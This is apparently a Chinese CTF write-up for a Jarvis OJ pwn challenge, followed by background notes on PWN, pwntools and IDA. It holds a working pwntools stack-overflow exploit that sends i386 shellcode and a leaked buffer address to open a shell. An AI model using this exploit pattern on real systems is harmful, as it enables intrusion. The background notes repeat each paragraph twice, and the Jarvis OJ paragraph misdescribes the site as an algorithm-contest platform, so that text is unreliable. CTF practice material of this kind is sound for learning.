题目
Wp
先查一下基本的内容
可以看到 RELRO: Partial RELRO就是got表可写的意思,然后ida接着看看源码,这里就是说调用了一个无参的函数
这里看到很明显的是一个溢出,但是这里没有shellcode,就需要自己写一个了
这里可以看到print打印了buf的地址
这里写一个pwntools的脚本
from pwn import *
sh = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.i386.linux.sh())
line = sh.recvline()[14:-2]
buf_addr = int(line,16)
payload = shellcode + 'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
sh.send(payload)
sh.interactive()
sh.close()
最后拿到flag
补充知识
jarvisoj
Jarvis OJ(https://www.jarvisoj.com/)是一个在线算法竞赛平台,提供大量的算法题目和比赛。它支持多种编程语言,包括C++,Java,Python等。Jarvis OJ还提供了丰富的排行榜和个人成就页面,可以帮助用户更好地了解自己在算法竞赛中的表现。同时,Jarvis OJ还支持各种算法竞赛类型,包括CF/Topcoder/AT/洛谷等流行国内外算法竞赛类别。因此,Jarvis OJ是一款非常不错的算法刷题和比赛平台。Jarvis OJ(https://www.jarvisoj.com/)是一个在线算法竞赛平台,提供大量的算法题目和比赛。它支持多种编程语言,包括C++,Java,Python等。Jarvis OJ还提供了丰富的排行榜和个人成就页面,可以帮助用户更好地了解自己在算法竞赛中的表现。同时,Jarvis OJ还支持各种算法竞赛类型,包括CF/Topcoder/AT/洛谷等流行国内外算法竞赛类别。因此,Jarvis OJ是一款非常不错的算法刷题和比赛平台。
PWN
PWN 是计算机安全领域的术语,可以翻译为攻击 (exploit)。PWN 一般指利用软件漏洞或弱点,从而获得对计算机系统的控制权限。PWN 的目的是获取对目标系统的控制权,因此可以用于进行攻击或者渗透测试。在黑客文化中,PWN 也被用作一种形式的称赞,表示对某个系统的完全掌控。PWN 的相关技术包括漏洞挖掘、代码注入、缓冲区溢出等。PWN 是计算机安全领域中的一个重要概念,对于安全工程师和渗透测试人员来说,学习 PWN 技术是必不可少的。PWN 是计算机安全领域的术语,可以翻译为攻击 (exploit)。PWN 一般指利用软件漏洞或弱点,从而获得对计算机系统的控制权限。PWN 的目的是获取对目标系统的控制权,因此可以用于进行攻击或者渗透测试。在黑客文化中,PWN 也被用作一种形式的称赞,表示对某个系统的完全掌控。PWN 的相关技术包括漏洞挖掘、代码注入、缓冲区溢出等。PWN 是计算机安全领域中的一个重要概念,对于安全工程师和渗透测试人员来说,学习 PWN 技术是必不可少的。
PWN学习方法
PWN学习方法如下:
1.掌握基础知识:学习计算机基础知识,包括操作系统、计算机网络、编程语言、算法和数据结构等。
2.了解PWN的基本概念:PWN指的是面向程序漏洞攻击,通常是指利用程序漏洞攻击计算机系统。
3.学习PWN技巧:学习PWN的基本技巧,包括堆溢出、栈溢出、格式化字符串漏洞、整数溢出等。
4.练习PWN工具:学习和掌握PWN工具,包括IDA、GDB、pwntools等。
5.刷题:通过刷题来巩固和实践所学的知识和技巧。可以先从一些简单的题目开始,逐渐提高难度。
6.参加CTF比赛:参加CTF比赛是提高PWN技能和经验的有效方法,可以结识更多的PWN爱好者和专家,从中学习和交流。
7.持续学习:PWN是一个不断发展和更新的领域,需要持续学习和掌握最新的技术和漏洞。
pwntools
pwntools是由Gallopsled团队开发的一款Python库,专门用于二进制漏洞攻击和CTF竞赛。它的功能非常强大,支持各种常见架构(如x86、x64、ARM、MIPS等),可以自动构造ROP链、利用格式化字符串漏洞、堆溢出等,还提供了许多方便的工具函数,例如pack、unpack等。总之,pwntools是二进制漏洞攻击的标配之一,被广泛用于各类CTF竞赛和安全研究中。pwntools是由Gallopsled团队开发的一款Python库,专门用于二进制漏洞攻击和CTF竞赛。它的功能非常强大,支持各种常见架构(如x86、x64、ARM、MIPS等),可以自动构造ROP链、利用格式化字符串漏洞、堆溢出等,还提供了许多方便的工具函数,例如pack、unpack等。总之,pwntools是二进制漏洞攻击的标配之一,被广泛用于各类CTF竞赛和安全研究中。
IDA
IDA(Interactive Disassembler)是一款反汇编器,它能够将二进制文件转换成汇编代码,便于分析和理解程序的执行流程。IDA具有良好的交互性和可定制性,并且支持众多的处理器架构和操作系统。常用于恶意软件分析、逆向工程、漏洞挖掘等领域。IDA可以通过手动分析和自动化工具来提高分析效率,也可以和其他工具集成使用,如调试器、反编译器等。IDA(Interactive Disassembler)是一款反汇编器,它能够将二进制文件转换成汇编代码,便于分析和理解程序的执行流程。IDA具有良好的交互性和可定制性,并且支持众多的处理器架构和操作系统。常用于恶意软件分析、逆向工程、漏洞挖掘等领域。IDA可以通过手动分析和自动化工具来提高分析效率,也可以和其他工具集成使用,如调试器、反编译器等。